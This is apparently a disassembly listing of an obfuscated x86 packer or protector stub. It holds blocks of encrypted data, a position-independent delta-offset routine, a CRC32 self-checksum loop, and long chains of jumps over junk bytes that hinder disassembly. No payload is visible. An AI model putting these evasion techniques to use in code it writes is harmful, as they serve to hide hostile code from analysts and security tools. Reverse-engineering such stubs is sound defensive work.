dd 0BAC54FA6h, 1EE4DF6h, 6A97CCE1h
db 13h
; ---------------------------------------------------------------------------
loc_46BCD9: ; CODE XREF: DMN1:loc_46C9A1j
popa
pop ebp
jmp loc_469C00
; ---------------------------------------------------------------------------
dd 8FE83BB2h, 146018A1h, 0DC17172Bh, 0CDC18F6Eh, 0EBC2A223h
dd 12D8F062h, 0D57DFFFh, 0E3D37536h, 0AB725A28h, 0CED7B9C9h
dd 5F7DFD68h, 8B09EA38h, 3A3DB548h, 0F15293Fh, 9685FF9Ch
dd 0A87C57F9h, 0D61736BEh, 0F30F8AD6h, 227E1CB0h, 31169249h
dd 0C3691E2Dh, 845818C4h, 8F7E8111h, 7DB35B2Bh, 22036351h
dd 0D6FA612Bh, 7428806Eh, 0C6CC8FD8h, 38D8A7F0h, 0DE2607C2h
dd 4132B59Dh, 0D7930CF8h, 3A704E87h, 0A1F94D16h, 109D5692h
dd 985B5A23h, 58074040h, 6C0D55BDh, 0A950FE91h, 8865F81Eh
dd 960A35C5h, 50E3DD62h, 6227F0Ah, 0D6B4A619h, 0AFFDA58Ah
dd 2F37B5CBh, 27015DE5h, 12E8B6F7h, 3C22DA82h, 51D65740h
dd 0BA4DB7D0h, 89AC3AE4h, 4544F79Eh, 9C694623h, 1F13681h
dd 224D16h, 81E1B551h, 54B8216Ah, 0E887B082h, 129B12F0h
dd 0F5D2157Bh, 3ABAB8E3h, 38D6C783h, 0ED61A110h, 9BDBCFC1h
dd 95D926B2h, 0ABCDE1F6h, 2D8A63F3h, 4B9C12FCh, 0D4D7D95Ch
dd 10602DDEh, 0EBCC62EEh, 3528AE66h, 0A6D63190h, 270EA3CBh
dd 0F5BA9A38h, 0B04ECA58h, 74657C93h, 0A43AF806h, 2F2DE3B8h
dd 8C3CE87Bh, 31744C71h, 5979D2AFh, 3742E1ECh, 0AAAC6452h
dd 1DEF03F5h, 0A7886DB4h, 6A708DC7h, 83FD2DC6h, 0C12E82BFh
dd 31EC48E7h, 0FE1E10A6h, 77311EACh, 19F6CDA5h, 0B1B20190h
dd 59592B3Eh, 0CCE0566Dh, 71F5A075h, 8C20D1ACh, 61770263h
dd 62C64E1Ah, 2666D1E8h, 6026664Ah, 0EAF50975h, 6C5E276Fh
dd 66CE8E67h, 21B0E9C0h, 0A6BC7441h, 95B36992h, 83429A2h
dd 0A9277A09h, 78F1EC0Fh, 9FEB6118h, 0AEC55C2Ah, 0A1AF5AC2h
dd 8D11FC6h, 7CEADCCDh, 747A785Eh, 2C5520C6h, 0A12297B5h
dd 0A368E372h, 887C0F92h, 71CBCEFh, 9C6B8160h, 1A5490A6h
dd 0C2390B61h, 8829C185h, 6391D959h, 0D70E36C9h, 0F2372B93h
dd 985BEB96h, 6197FB96h, 0FF3BB451h, 3B2D8BC3h, 82635B4Bh
dd 10F49789h, 0DA2D4F3h, 97F10A08h, 68BCD649h, 0A0C3FEC3h
dd 95E6BD8Dh, 1E992CBDh, 370E37C6h, 1302B711h, 5B901FB0h
dd 0CE8E4CB9h, 0E72D9FF4h, 7F5D4B0Ah, 0B58514F0h, 0BDD27A8Ah
dd 0E50B4D24h, 0BF7826FAh, 2FB1FDB7h, 7D601C2Eh, 0A73FB2ACh
dd 0A3DB71ACh, 11A73D52h, 760BD5B2h, 20B478EFh, 545731FDh
dd 0DA9776BAh, 0A6508D7Dh, 0A19D22A6h, 25C605D6h, 1A30AACDh
dd 0D731EAE9h, 5D458BC0h, 0B935C1ADh, 76BC0EF5h, 528BF7CDh
dd 6440532Eh, 0A4E65DF4h, 5CD6DA62h, 0EEA5E08Dh, 7A3CD643h
dd 5BCA4D5Ch, 35D72833h, 61EFC86Dh, 29B2707Fh, 692CBA61h
dd 9688305Bh, 0FA472FF9h, 7EF723C8h, 77B8DDBh, 7EF760EEh
dd 0F699E9B2h, 39E3FF0h, 9F42FD7Bh, 0F3480B94h, 7335EDA0h
dd 0CBD6282Dh, 0E8E14CDEh, 7016F98Ah, 0EE7A13A7h, 99DBE329h
dd 0F2B49EA5h, 4B6E7110h, 0CDF38178h, 0F9A6411Fh, 0CD4D121h
dd 0ED6FCA5Ah, 0B2E094Fh, 0E46E9611h, 1C19F4C7h, 0D2A6CC1Ah
dd 0E39A6BC7h, 9EFF09B4h, 0C083CAA8h, 0E579AB73h, 676DDD72h
dd 98481823h, 0DC6FAAFFh, 875F0E79h, 3DCAA6DBh, 2D47B560h
dd 0C94FE4FFh, 5B845B64h, 0D1C6D4C5h, 0EE710E1Ch, 2E62F73Ch
dd 0AEDC5742h, 142CD327h, 83E5006Dh, 0ED8BB0BBh, 0A49140F9h
dd 452E2F77h, 549AE220h, 0AA1F66D6h, 0E03A42C7h, 0FD3EE524h
dd 5AF5489Dh, 0B9370327h, 0F9BF4F41h, 93E6F4CDh, 0B628E856h
dd 9851707Dh, 75CE7C81h, 1402A70Dh, 7CE5AB2Bh, 0DB5F1853h
dd 6693B1F7h, 1CE014CAh, 0BE744978h, 6AFD08F0h, 8F407D5h
dd 20895076h, 6BC492CBh, 0EFD91322h, 0D85447FBh, 3489743h
dd 935C9C3Eh, 0E07AA517h, 0A3D00575h, 17EB0962h, 0BC9A6B18h
dd 226CE1EBh, 4BDE4D58h, 5F0BE8FFh, 0C564C5CAh, 72E1E786h
dd 675DCDF6h, 985815C4h, 3E15FC3h, 5DBBD8A5h, 0A4655DDCh
dd 3756E7DFh, 4AC6BF03h, 7F02B023h, 0FA33018Ah, 6ED9E1F8h
dd 4BFEF089h, 48F15A09h, 783EAFF2h, 0A397ADBAh, 0F9CF95BCh
dd 95F50F39h, 8B718A78h
; ---------------------------------------------------------------------------
loc_46C134: ; CODE XREF: DMN1:0046C9A8j
push ebp
mov ebp, esp
call $+5
pop ebp
sub ebp, 6C13Ch
pusha
mov esi, 6C134h
add esi, ebp
mov edi, 872h
push ebx
push ecx
push edx
push esi
push edi
cld
xor ecx, ecx
dec ecx
mov edx, ecx
push ebx
loc_46C15C: ; CODE XREF: DMN1:0046C185j
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
loc_46C16B: ; CODE XREF: DMN1:0046C17Ej
shr bx, 1
rcr ax, 1
jnb short loc_46C17C
xor ax, 8320h
xor bx, 0EDB8h
loc_46C17C: ; CODE XREF: DMN1:0046C171j
dec dh
jnz short loc_46C16B
xor ecx, eax
xor edx, ebx
dec edi
jnz short loc_46C15C
pop ebx
not edx
not ecx
mov eax, edx
rol eax, 10h
mov ax, cx
pop edi
pop esi
pop edx
pop ecx
pop ebx
push eax
jmp short loc_46C1B4
; ---------------------------------------------------------------------------
dd 504AADBCh, 8FF3922Ah, 0E61AE91Bh, 8B2F8398h, 11FD6DE7h
dd 0D54DC74Eh
; ---------------------------------------------------------------------------
loc_46C1B4: ; CODE XREF: DMN1:0046C19Aj
jmp short loc_46C1C9
; ---------------------------------------------------------------------------
dw 2A4Ch
dd 132EF16Eh, 0BF880757h, 0D5E8A80Fh, 0BFB1167Eh
db 0C7h
; ---------------------------------------------------------------------------
loc_46C1C9: ; CODE XREF: DMN1:loc_46C1B4j
stc
xor esi, 5B0A3071h
jmp short loc_46C1E3
; ---------------------------------------------------------------------------
db 8
db 87h ;
db 31h ; 1
db 69h ; i
db 4Fh ; O
db 0E3h ;
db 5Bh ; [
db 81h ;
db 0A3h ;
db 16h
db 0BFh ;
db 18h
db 6Fh ; o
db 52h ; R
db 0EBh ;
db 0A6h ;
db 0F4h ;
; ---------------------------------------------------------------------------
loc_46C1E3: ; CODE XREF: DMN1:0046C1D0j
mov ebx, 41000h
jmp short loc_46C1FF
; ---------------------------------------------------------------------------
dw 0AB1h
dd 5A4A1BD8h, 1CD6431Ah, 0B586594Ch, 2CC26FE3h
db 0F4h, 18h, 43h
; ---------------------------------------------------------------------------
loc_46C1FF: ; CODE XREF: DMN1:0046C1E8j
mov eax, 0ABE0h
loc_46C204: ; CODE XREF: DMN1:0046C8AEj
jmp short loc_46C211
; ---------------------------------------------------------------------------
dw 7FA4h
dd 0A0038E1Dh, 0AD08D4EAh
db 3Ah
; ---------------------------------------------------------------------------
loc_46C211: ; CODE XREF: DMN1:loc_46C204j
cmc
cmc
jmp short loc_46C22C
; ---------------------------------------------------------------------------
db 5Ah, 23h, 19h
dd 0D8359338h, 0BAB1E96h, 0E6469B10h, 427F5F08h, 5920DD9h
; ---------------------------------------------------------------------------
loc_46C22C: ; CODE XREF: DMN1:0046C213j
jmp short loc_46C23A
; ---------------------------------------------------------------------------
dw 749Ch
; ---------------------------------------------------------------------------
mov eax, ds:625827F3h
dec ebx
mov bh, 33h
xchg eax, esp
loc_46C23A: ; CODE XREF: DMN1:loc_46C22Cj
xchg ebp, esp
sbb edi, 2CDC3D00h
jmp short loc_46C246
; ---------------------------------------------------------------------------
db 89h, 1Ch
; ---------------------------------------------------------------------------
loc_46C246: ; CODE XREF: DMN1:0046C242j
clc
jmp short loc_46C257
; ---------------------------------------------------------------------------
db 8Fh, 0B8h, 0CAh
dd 55F6CF96h, 0B9C8ABA6h
; ---------------------------------------------------------------------------
add al, 0EDh
push ebx
loc_46C257: ; CODE XREF: DMN1:0046C247j
jmp short loc_46C25D
; ---------------------------------------------------------------------------
db 6Ch, 2Fh, 91h
db 2Dh
; ---------------------------------------------------------------------------
loc_46C25D: ; CODE XREF: DMN1:loc_46C257j
jmp short loc_46C26A
; ---------------------------------------------------------------------------
db 0FEh
dd 539B442Fh, 376AFF35h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 64h
; ---------------------------------------------------------------------------
loc_46C26A: ; CODE XREF: DMN1:loc_46C25Dj
xchg edi, ecx
jmp short loc_46C273
; ---------------------------------------------------------------------------
sahf
dec edi
or ebp, [edi]
push es
loc_46C273: ; CODE XREF: DMN1:0046C26Cj
jmp short loc_46C27E
; ---------------------------------------------------------------------------
db 0F4h, 0E9h, 0B6h
; ---------------------------------------------------------------------------
xor dl, 0ABh
test [ebp+1Dh], dh
loc_46C27E: ; CODE XREF: DMN1:loc_46C273j
xchg edi, esi
mov edx, esp
jmp short loc_46C29E
; ---------------------------------------------------------------------------
dd 22759260h, 4A25CF8Bh, 488DEC9Ch, 8CA859F8h, 56F04647h
dd 10523363h
; ---------------------------------------------------------------------------
inc edx
pop edx
loc_46C29E: ; CODE XREF: DMN1:0046C282j
cld
jmp short $+2
test edi, 9C235FDAh
jmp short loc_46C2AA
; ---------------------------------------------------------------------------
db 0E4h
; ---------------------------------------------------------------------------
loc_46C2AA: ; CODE XREF: DMN1:0046C2A7j
jmp short loc_46C2CB
; ---------------------------------------------------------------------------
dd 5F2E21D0h, 0A9DE1F42h, 0BC4EF041h, 541E2151h, 0F8D40728h
dd 0F0CCE14Bh, 0ADCAAABDh
db 0E4h, 0B5h, 0D0h
; ---------------------------------------------------------------------------
loc_46C2CB: ; CODE XREF: DMN1:loc_46C2AAj
jmp short loc_46C2E7
; ---------------------------------------------------------------------------
db 3Bh, 0D2h, 1Ah
dd 41C61BBBh, 33F957C9h, 0DB34CFEDh, 0B9156D92h, 72420D57h
db 21h, 0EDh, 0E2h
; ---------------------------------------------------------------------------
loc_46C2E7: ; CODE XREF: DMN1:loc_46C2CBj
jmp short loc_46C306
; ---------------------------------------------------------------------------
db 85h, 0B3h, 56h
dd 30708EAh, 5621B617h, 728FEF74h, 0F72B09D4h, 0B97BC256h
dd 0EABF8797h
db 0CEh, 91h
; ---------------------------------------------------------------------------
loc_46C306: ; CODE XREF: DMN1:loc_46C2E7j
add edx, ebx
xchg ebx, ebp
test edi, 0FB7215F0h
jmp short loc_46C31D
; ---------------------------------------------------------------------------
dw 65CEh
; ---------------------------------------------------------------------------
cmp byte ptr [ebx], 2Dh
push es
popa
mov byte ptr [eax+2], 7Ah
loc_46C31D: ; CODE XREF: DMN1:0046C310j
xor ecx, 9233541Fh
jmp short loc_46C32B
; ---------------------------------------------------------------------------
db 0A3h, 2Ah, 0FAh
db 0F7h, 0EDh, 0D8h
; ---------------------------------------------------------------------------
loc_46C32B: ; CODE XREF: DMN1:0046C323j
clc
jmp short loc_46C32F
; ---------------------------------------------------------------------------
db 81h
; ---------------------------------------------------------------------------
loc_46C32F: ; CODE XREF: DMN1:0046C32Cj
jmp short loc_46C341
; ---------------------------------------------------------------------------
db 9Dh, 0A8h, 8Eh
dd 0E9F923D6h, 389B6892h, 67FCE33Bh
db 0C1h
; ---------------------------------------------------------------------------
loc_46C341: ; CODE XREF: DMN1:loc_46C32Fj
jmp short loc_46C34B
; ---------------------------------------------------------------------------
db 0Ch
dd 8CF150C6h
db 0B2h, 57h, 0BDh
; ---------------------------------------------------------------------------
loc_46C34B: ; CODE XREF: DMN1:loc_46C341j
jmp short loc_46C364
; ---------------------------------------------------------------------------
db 2Eh, 0ADh, 0F9h
dd 0D1DC7810h, 9F1F22BAh, 0A5761FC0h, 227CEBEAh, 6DC98360h
; ---------------------------------------------------------------------------
loc_46C364: ; CODE XREF: DMN1:loc_46C34Bj
xchg edx, eax
xchg ebx, ecx
jmp short loc_46C373
; ---------------------------------------------------------------------------
xchg eax, edx
leave
and al, 0E6h
test eax, 29112CE7h
loc_46C373: ; CODE XREF: DMN1:0046C368j
test edi, 0D51D013Fh
xchg eax, ebp
mov esi, [ebp+0]
neg ebx
jmp short loc_46C396
; ---------------------------------------------------------------------------
dw 292h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0DDh, 5Dh, 5Eh
dd 904C8868h, 0C9DF4759h, 94BD303Fh
; ---------------------------------------------------------------------------
and cl, bl
loc_46C396: ; CODE XREF: DMN1:0046C380j
jmp short loc_46C3B7
; ---------------------------------------------------------------------------
dd 6E24C432h, 605E85D2h, 4B1704B5h, 826BFB60h, 111A8CBh
dd 24DD4B1Fh, 1E81078Fh
db 0B7h, 0CDh, 0F0h
; ---------------------------------------------------------------------------
loc_46C3B7: ; CODE XREF: DMN1:loc_46C396j
jmp short loc_46C3BB
; ---------------------------------------------------------------------------
db 3Fh, 5
; ---------------------------------------------------------------------------
loc_46C3BB: ; CODE XREF: DMN1:loc_46C3B7j
jmp short loc_46C3DA
; ---------------------------------------------------------------------------
retn 85E2h
; ---------------------------------------------------------------------------
aaa
lahf
retf 0D78Dh
; ---------------------------------------------------------------------------
db 7Ah, 6Fh, 0A4h
dd 472E6FEEh, 0F2180CD3h, 68B8DF5Bh, 10FC75DEh
; ---------------------------------------------------------------------------
mov cl, 52h
loc_46C3DA: ; CODE XREF: DMN1:loc_46C3BBj
jmp short loc_46C3F6
; ---------------------------------------------------------------------------
dd 1EC7C9D4h, 6D5536EAh, 2A6F099Ah, 0D486C0FEh, 2B43DC4Ah
dd 88CF1639h
; ---------------------------------------------------------------------------
mov ah, 0DFh
loc_46C3F6: ; CODE XREF: DMN1:loc_46C3DAj
stc
jmp short loc_46C412
; ---------------------------------------------------------------------------
db 78h, 65h, 1Bh
dd 0B284500Dh, 617BE253h, 0AD439B84h, 1BD01397h, 23C6A72Eh
db 60h, 0BDh
; ---------------------------------------------------------------------------
loc_46C412: ; CODE XREF: DMN1:0046C3F7j
jmp short loc_46C42A
; ---------------------------------------------------------------------------
dd 0A4CF47F5h, 152F52h, 3870FEF7h, 0F1F0CCC9h, 5C3C36F1h
; ---------------------------------------------------------------------------
ror byte ptr [edi], 1
loc_46C42A: ; CODE XREF: DMN1:loc_46C412j
test ebp, 0E65C4F09h
cld
jmp short loc_46C442
; ---------------------------------------------------------------------------
align 4
dd 3AB14DCFh, 0A263A7EDh, 0E1885605h
db 0DCh, 52h
; ---------------------------------------------------------------------------
loc_46C442: ; CODE XREF: DMN1:0046C431j
jmp short loc_46C456
; ---------------------------------------------------------------------------
sahf
retf 385Ch
; ---------------------------------------------------------------------------
dd 223FBE53h, 4C4E8448h, 22918FD4h
db 0B8h, 66h
; ---------------------------------------------------------------------------
loc_46C456: ; CODE XREF: DMN1:loc_46C442j
xor esi, [ecx]
jmp short loc_46C46F
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
adc esi, edi
sub [edi-2Dh], esi
xor [esi-36A399B9h], ebx
sbb [edx+308036D8h], ah
sbb [edi+7], ah
loc_46C46F: ; CODE XREF: DMN1:0046C458j
stc
bswap ebx
xchg ebx, edx
jmp short loc_46C48E
; ---------------------------------------------------------------------------
mov edi, 3B1EF673h
fsub st, st(7)
cmp eax, [eax+4BD59257h]
pop ecx
mul dword ptr [edx-47h]
dec ebx
adc [ebx+5C6DC9Ch], edi
loc_46C48E: ; CODE XREF: DMN1:0046C474j
xchg ecx, ebp
clc
jmp short loc_46C494
; ---------------------------------------------------------------------------
db 0B5h
; ---------------------------------------------------------------------------
loc_46C494: ; CODE XREF: DMN1:0046C491j
jmp short loc_46C4A6
; ---------------------------------------------------------------------------
dw 0A6B7h
dd 0A2907078h, 618932EAh, 24B8C093h
db 5Ch, 0B3h
; ---------------------------------------------------------------------------
loc_46C4A6: ; CODE XREF: DMN1:loc_46C494j
xchg ecx, esp
xchg esi, [ebp+0]
xchg ebx, eax
jmp short loc_46C4CC
; ---------------------------------------------------------------------------
db 34h
dd 2F99CC96h, 8577C486h, 2BC12740h, 28CB5C1Dh, 0D0993F4h
dd 3177CDFh, 0A9FDA730h
; ---------------------------------------------------------------------------
loc_46C4CC: ; CODE XREF: DMN1:0046C4ADj
xchg ebp, ecx
jmp short loc_46C4E5
; ---------------------------------------------------------------------------
db 89h, 0C0h
dw 0ABBDh
dd 562C828Dh, 70A6168Ah, 2563CA1h, 8CBAF582h
db 85h
; ---------------------------------------------------------------------------
loc_46C4E5: ; CODE XREF: DMN1:0046C4CEj
jmp short loc_46C4F2
; ---------------------------------------------------------------------------
mov edx, 4C1C31CDh
add dh, [ebx]
db 2Eh
cwde
mov cl, 0E0h
loc_46C4F2: ; CODE XREF: DMN1:loc_46C4E5j
jmp short loc_46C501
; ---------------------------------------------------------------------------
dd 220874A5h, 283E2D7h, 0A8B00ACCh
; ---------------------------------------------------------------------------
push esi
loc_46C501: ; CODE XREF: DMN1:loc_46C4F2j
jmp short loc_46C518
; ---------------------------------------------------------------------------
db 0DBh
dd 0E21A8314h, 8B0AEA35h, 85887593h, 35BA7417h, 0B6151007h
; ---------------------------------------------------------------------------
loc_46C518: ; CODE XREF: DMN1:loc_46C501j
rol esi, 1
adc esp, 54633C20h
jmp short loc_46C533
; ---------------------------------------------------------------------------
dw 8263h
dd 0A91AF31Ch, 10EF1E00h, 2EAE7258h
db 5Fh, 5Ah, 1Dh
; ---------------------------------------------------------------------------
loc_46C533: ; CODE XREF: DMN1:0046C520j
cld
jmp short loc_46C555
; ---------------------------------------------------------------------------
dw 241Dh
dd 0FB218021h, 0E421D787h, 5BEC8204h, 232E7DF5h, 15E56CCh
dd 2DF02811h, 0F8FA5949h
db 0E7h
; ---------------------------------------------------------------------------
loc_46C555: ; CODE XREF: DMN1:0046C534j
jmp short loc_46C567
; ---------------------------------------------------------------------------
db 0F6h
dd 0D3292867h, 51C4527Ah, 728B0230h
db 87h, 0DFh, 81h
; ---------------------------------------------------------------------------
loc_46C567: ; CODE XREF: DMN1:loc_46C555j
xchg edi, esi
jmp short loc_46C570
; ---------------------------------------------------------------------------
db 1Bh
dd 0B6D31446h
; ---------------------------------------------------------------------------
loc_46C570: ; CODE XREF: DMN1:0046C569j
stc
sub edi, 7A806D3Bh
xor esi, 0B64A3B04h
jmp short loc_46C58E
; ---------------------------------------------------------------------------
db 0B2h
dd 17C17D3Fh, 0FB223AAh, 740F2061h
db 6Eh, 0BEh
; ---------------------------------------------------------------------------
loc_46C58E: ; CODE XREF: DMN1:0046C57Dj
and esp, 4399DD4h
xchg ecx, esp
jmp short loc_46C599
; ---------------------------------------------------------------------------
db 1
; ---------------------------------------------------------------------------
loc_46C599: ; CODE XREF: DMN1:0046C596j
xchg edi, ecx
stc
stc
xchg edi, esi
jmp short loc_46C5A5
; ---------------------------------------------------------------------------
db 25h, 0BFh, 0EFh
db 21h
; ---------------------------------------------------------------------------
loc_46C5A5: ; CODE XREF: DMN1:0046C59Fj
xchg ecx, [esp]
neg edx
jmp short loc_46C5CA
; ---------------------------------------------------------------------------
dd 5105B53h, 0C5854412h, 0D04609E0h, 0C9FB0A56h, 0AAD6C6CCh
dd 0ED0188C7h, 32A55BEBh
; ---------------------------------------------------------------------------
inc ebp
lodsb
loc_46C5CA: ; CODE XREF: DMN1:0046C5AAj
xor edx, 22AA5F07h
jmp short loc_46C5EC
; ---------------------------------------------------------------------------
dw 810Bh
dd 0E09A5098h, 0F62E1807h, 0AF2E8021h, 0FC7B87C6h, 0ACC5E159h
dd 0DD246FADh
; ---------------------------------------------------------------------------
loc_46C5EC: ; CODE XREF: DMN1:0046C5D0j
jmp short loc_46C60C
; ---------------------------------------------------------------------------
dw 0ADA6h
dd 0E253F136h, 0AF998130h, 0F51C7585h, 1D6C2150h, 584FDA6Ah
dd 0E9196D52h, 0DFD8A54Eh
; ---------------------------------------------------------------------------
loc_46C60C: ; CODE XREF: DMN1:loc_46C5ECj
cld
mov edi, ebp
jmp short loc_46C626
; ---------------------------------------------------------------------------
db 51h, 0DAh, 0F3h
dd 0A698A10h, 33A9B0Fh, 6E207029h, 41E4356Dh
; ---------------------------------------------------------------------------
dec eax
dec eax
loc_46C626: ; CODE XREF: DMN1:0046C60Fj
xchg eax, edi
cmp esi, 8B2AAD0h
jmp short loc_46C64C
; ---------------------------------------------------------------------------
dd 552C9926h, 0A5683FF1h, 57BDBF1h, 0D7EF5538h, 0EC865270h
dd 82D2D005h, 0F0A44714h
; ---------------------------------------------------------------------------
loc_46C64C: ; CODE XREF: DMN1:0046C62Ej
jmp short loc_46C65E
; ---------------------------------------------------------------------------
dw 6F52h
dd 0B96E8070h, 201A53EBh, 0F78376Ah
db 51h, 86h
; ---------------------------------------------------------------------------
loc_46C65E: ; CODE XREF: DMN1:loc_46C64Cj
jmp short loc_46C67F
; ---------------------------------------------------------------------------
dd 0A47E5BADh, 0A44B23EFh, 85400980h, 2080897Eh, 5741C8D9h
dd 5991CFFAh, 3EE56B27h
; ---------------------------------------------------------------------------
add ebx, esp
dec ebp
loc_46C67F: ; CODE XREF: DMN1:loc_46C65Ej
add eax, ebx
jmp short loc_46C684
; ---------------------------------------------------------------------------
db 0A0h
; ---------------------------------------------------------------------------
loc_46C684: ; CODE XREF: DMN1:0046C681j
jmp short loc_46C689
; ---------------------------------------------------------------------------
dw 0E4C9h
db 7Fh
; ---------------------------------------------------------------------------
loc_46C689: ; CODE XREF: DMN1:loc_46C684j
jmp short loc_46C693
; ---------------------------------------------------------------------------
db 81h
dd 7D3F0A29h
db 14h, 58h, 0F4h
; ---------------------------------------------------------------------------
loc_46C693: ; CODE XREF: DMN1:loc_46C689j
jmp short loc_46C6B3
; ---------------------------------------------------------------------------
db 2Ch, 0ABh, 0C9h
dd 0BA883E7Ch, 0BB6AAE8Dh, 0DF2311E5h, 2A8C0D98h, 9E630B7Ah
dd 658F5D4Bh
db 30h, 74h, 0E7h
; ---------------------------------------------------------------------------
loc_46C6B3: ; CODE XREF: DMN1:loc_46C693j
jmp short loc_46C6C1
; ---------------------------------------------------------------------------
db 0B2h, 61h, 0A8h
dd 7A335489h, 2483C06Dh
db 4
; ---------------------------------------------------------------------------
loc_46C6C1: ; CODE XREF: DMN1:loc_46C6B3j
std
jmp short loc_46C6DE
; ---------------------------------------------------------------------------
dd 0E6AC7926h, 6BAC39E1h, 0C6FB0850h, 0DC867E8h, 3EDC142Bh
dd 0BE342451h
db 0, 0C2h
; ---------------------------------------------------------------------------
loc_46C6DE: ; CODE XREF: DMN1:0046C6C2j
jmp short loc_46C6F4
; ---------------------------------------------------------------------------
or ah, bh
inc edi
icebp
pop bx
add bh, dh
pop edi
jmp fword ptr [ebp+ebp*2-37824A87h]
; ---------------------------------------------------------------------------
dd 0D80F6851h
; ---------------------------------------------------------------------------
loc_46C6F4: ; CODE XREF: DMN1:loc_46C6DEj
jmp short loc_46C712
; ---------------------------------------------------------------------------
dw 9F96h
dd 4822DC7Ch, 0C0974803h, 7C391CFFh, 0C623CA43h, 0D9A17834h
dd 9F7ED472h
db 65h, 0D1h
; ---------------------------------------------------------------------------
loc_46C712: ; CODE XREF: DMN1:loc_46C6F4j
mov [eax], ecx
bswap edx
xchg edx, esi
xchg edx, esp
xchg esi, ebx
jmp short loc_46C734
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 23h
dd 0A6F011B6h, 0C27E00EBh, 0B37308B8h, 4BA44A83h, 90E1EC30h
; ---------------------------------------------------------------------------
loc_46C734: ; CODE XREF: DMN1:0046C71Cj
jmp short loc_46C737
; ---------------------------------------------------------------------------
db 0D2h
; ---------------------------------------------------------------------------
loc_46C737: ; CODE XREF: DMN1:loc_46C734j
jmp short loc_46C740
; ---------------------------------------------------------------------------
db 35h, 1Fh, 8
dd 10EC8A4Eh
; ---------------------------------------------------------------------------
loc_46C740: ; CODE XREF: DMN1:loc_46C737j
jmp short loc_46C75F
; ---------------------------------------------------------------------------
dw 0D910h
dd 4CA4E0B1h, 0ECB5B9D1h, 0A45BC5D8h, 8398219Bh, 1A692A5Eh
dd 7B1B775Fh
db 69h, 8Bh, 0AFh
; ---------------------------------------------------------------------------
loc_46C75F: ; CODE XREF: DMN1:loc_46C740j
xchg edi, esp
not ecx
add esi, 3
jmp short loc_46C785
; ---------------------------------------------------------------------------
mov esi, 9DB3AAB9h
mov ch, 67h
jnp short loc_46C782
pusha
or bl, cl
das
mov ds:34F3B2B0h, eax
mov dh, [ecx+524BD4DCh]
xor bh, [ecx]
loc_46C782: ; CODE XREF: DMN1:0046C76Fj
dec edi
rcl byte ptr [esi], 1
loc_46C785: ; CODE XREF: DMN1:0046C766j
jmp short loc_46C78D
; ---------------------------------------------------------------------------
db 28h
dd 0A828ECECh
db 70h
; ---------------------------------------------------------------------------
loc_46C78D: ; CODE XREF: DMN1:loc_46C785j
xchg esi, esi
jmp short loc_46C799
; ---------------------------------------------------------------------------
db 49h, 0B8h, 0C7h
dd 0C655073Ch
; ---------------------------------------------------------------------------
inc ebp
loc_46C799: ; CODE XREF: DMN1:0046C78Fj
test edi, 84DA9D00h
add esi, 1
jmp short loc_46C7B3
; ---------------------------------------------------------------------------
dd 9987B22Ch, 61A22501h, 40EC71B0h
; ---------------------------------------------------------------------------
sar dword ptr [ecx-6Ch], cl
loc_46C7B3: ; CODE XREF: DMN1:0046C7A2j
jmp short loc_46C7B7
; ---------------------------------------------------------------------------
db 8Ch, 0A5h
; ---------------------------------------------------------------------------
loc_46C7B7: ; CODE XREF: DMN1:loc_46C7B3j
jmp short loc_46C7C4
; ---------------------------------------------------------------------------
mov al, 0D3h
adc eax, 45C91E89h
push es
xchg ch, [edx-71h]
loc_46C7C4: ; CODE XREF: DMN1:loc_46C7B7j
clc
jmp short loc_46C7DB
; ---------------------------------------------------------------------------
db 67h
dd 46D46C7Ch, 0BDB46020h, 0F3BD1FEBh, 6C4B035Bh
db 0AFh, 0BCh, 0AAh
; ---------------------------------------------------------------------------
loc_46C7DB: ; CODE XREF: DMN1:0046C7C5j
xchg esi, ebp
cmc
jmp short loc_46C7FE
; ---------------------------------------------------------------------------
dd 2DAE93C1h, 90FD0E27h, 0ED53BCE2h, 2792E6D8h, 72111ADAh
dd 0C549FEA2h, 8CFE6E8h
db 0B9h, 0B2h
; ---------------------------------------------------------------------------
loc_46C7FE: ; CODE XREF: DMN1:0046C7DEj
jmp short loc_46C81E
; ---------------------------------------------------------------------------
dd 0F9949771h, 5BCDF4DEh, 0EC10462Bh, 6EDD6575h, 7ED1E521h
dd 1D86CEF1h, 58CEE74Ch
; ---------------------------------------------------------------------------
aam 98h
loc_46C81E: ; CODE XREF: DMN1:loc_46C7FEj
jmp short loc_46C834
; ---------------------------------------------------------------------------
dd 3B3FA79Ch, 8B386771h, 0BEBB4367h, 156B8989h, 74807B0Fh
; ---------------------------------------------------------------------------
loc_46C834: ; CODE XREF: DMN1:loc_46C81Ej
jmp short loc_46C840
; ---------------------------------------------------------------------------
dw 0A7D0h
dd 628FF843h, 0F51A4EF4h
; ---------------------------------------------------------------------------
loc_46C840: ; CODE XREF: DMN1:loc_46C834j
dec esp
jz short loc_46C8B3
jmp short loc_46C859
; ---------------------------------------------------------------------------
db 0DBh, 53h, 0BEh
dd 79E25B37h, 0A18CBFDh, 867A53A9h, 3BCB804Bh
db 70h
; ---------------------------------------------------------------------------
loc_46C859: ; CODE XREF: DMN1:0046C843j
jmp short $+2
jmp short loc_46C866
; ---------------------------------------------------------------------------
imul ebx, [esi], 0C2C41136h
inc eax
xlat
push es
loc_46C866: ; CODE XREF: DMN1:0046C85Bj
xchg edx, esi
xchg edx, ebp
xchg ebx, edx
jmp short loc_46C87B
; ---------------------------------------------------------------------------
dw 28B4h
dd 8A5F2E1h, 1860713h
db 7Ah, 0ECh, 0CFh
; ---------------------------------------------------------------------------
loc_46C87B: ; CODE XREF: DMN1:0046C86Cj
jmp short loc_46C883
; ---------------------------------------------------------------------------
db 0E8h, 68h, 0E3h
db 65h, 0DDh, 97h
; ---------------------------------------------------------------------------
loc_46C883: ; CODE XREF: DMN1:loc_46C87Bj
xchg eax, esp
inc esp
jmp short loc_46C88F
; ---------------------------------------------------------------------------
dd 88362FA7h
db 0FCh, 0EAh, 3Ch
; ---------------------------------------------------------------------------
loc_46C88F: ; CODE XREF: DMN1:0046C886j
jmp short loc_46C8AA
; ---------------------------------------------------------------------------
db 2, 4Eh, 0B3h
dd 6CD33C50h, 0CCD4BA83h, 0A51C36E0h, 0D1F09BB0h, 1015421Bh
db 0C6h, 32h
; ---------------------------------------------------------------------------
loc_46C8AA: ; CODE XREF: DMN1:loc_46C88Fj
